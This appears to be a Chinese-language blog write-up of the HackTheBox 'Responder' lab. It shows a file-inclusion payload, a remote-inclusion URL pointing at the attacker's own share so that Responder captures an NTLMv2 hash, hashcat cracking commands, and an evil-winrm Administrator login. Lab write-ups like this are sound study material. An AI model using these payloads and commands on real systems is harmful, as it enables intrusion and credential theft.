HackTheBox [Responder] WriteUp

任意文件包括

前半部分主要是答题,都比较简单。之后主要是配置工具比较麻烦。

首先直接访问 IP 80 端口,发现会进行一个重定向:

virts@Virts-MacMini-M4 ~> curl 10.129.83.22
<meta http-equiv="refresh" content="0;url=http://unika.htb/">

但是实际上域名 unika.htb 是没有配置解析的。所以得自己改 hosts 或者配置一下 DNS。直接用 Surge 还是很方便的,配置完成就可以顺利访问网站了。


扫目录发现一处作用不大的信息泄露 : http://unika.htb/cgi-bin/printenv.pl ,泄露了一些配置信息。

查看主页源代码发现有这样两个标签:

<a href="/index.php?page=french.html">FR</a>
<a href="/index.php?page=german.html">DE</a>

所以可能存在任意文件包含和远程文件包含,用刚才找到的配置信息测一下: http://unika.htb/index.php?page=C:/xampp/cgi-bin/printenv.pl ,发现成功包含了文件内容。

远程文件包含

接下来就是没学过的姿势了,通过远程文件包含直接获取 NTLM Hash 。

需要用到 Responder 这个工具,安装方法还是很简单的。

git clone https://github.com/lgandx/Responder.git
cd Responder
pip install -r requirements.txt

启动 Responder 需要指定一个接口和 IP ,这里的接口用自己 OpenVPN 使用的就可以了。

sudo python Responder.py -I utun4 -i 10.10.14.17

然后访问 http://unika.htb/index.php?page=//10.10.14.17/somefile 就可以抓到 NTLM Hash 了。


准备好一个 rockyou 使用 hashcat 破解 NTLMv2 Hash 。

hashcat -m 5600 test.hash ~/Hack/dict/Dictionary-Of-Pentesting/Password/rockyou.txt
hashcat -m 5600 test.hash ~/Hack/dict/Dictionary-Of-Pentesting/Password/rockyou.txt --show


破解出密码为 badminton


扫描目标主机后,发现开放了一个 5985 端口,这个端口的服务是 WinRM ,是一个远控端口,和 Linux 的 SSH 有点类似。

但是找了很久,没有发现在 MacOS 上面有合适的客户端,只能自己安装 evil-winrm 了。

# 安装 ruby 的包管理工具
brew install rbenv ruby-build
# 安装 3.2.2 版本的 ruby
rbenv install 3.2.2
# 编辑 config.fish
vim ~/.config/fish/config.fish

由于我使用的是 fish shell ,需要修改 fish shell 的配置文件,在文件中添加下面的内容:

# rbenv initialization
set -gx PATH $HOME/.rbenv/bin $PATH
# 初始化 rbenv,fish 版本
status --is-interactive; and source (rbenv init -|psub)

之后激活配置即可顺利安装。

source ~/.config/fish/config.fish
rbenv global 3.2.2
gem install evil-winrm

使用 evil-winrm 登录目标服务器。

evil-winrm -i 10.129.237.174 -u Administrator -p badminton
type "C:/Users/mike/Desktop/flag.txt"


顺利拿到 Flag 。

评论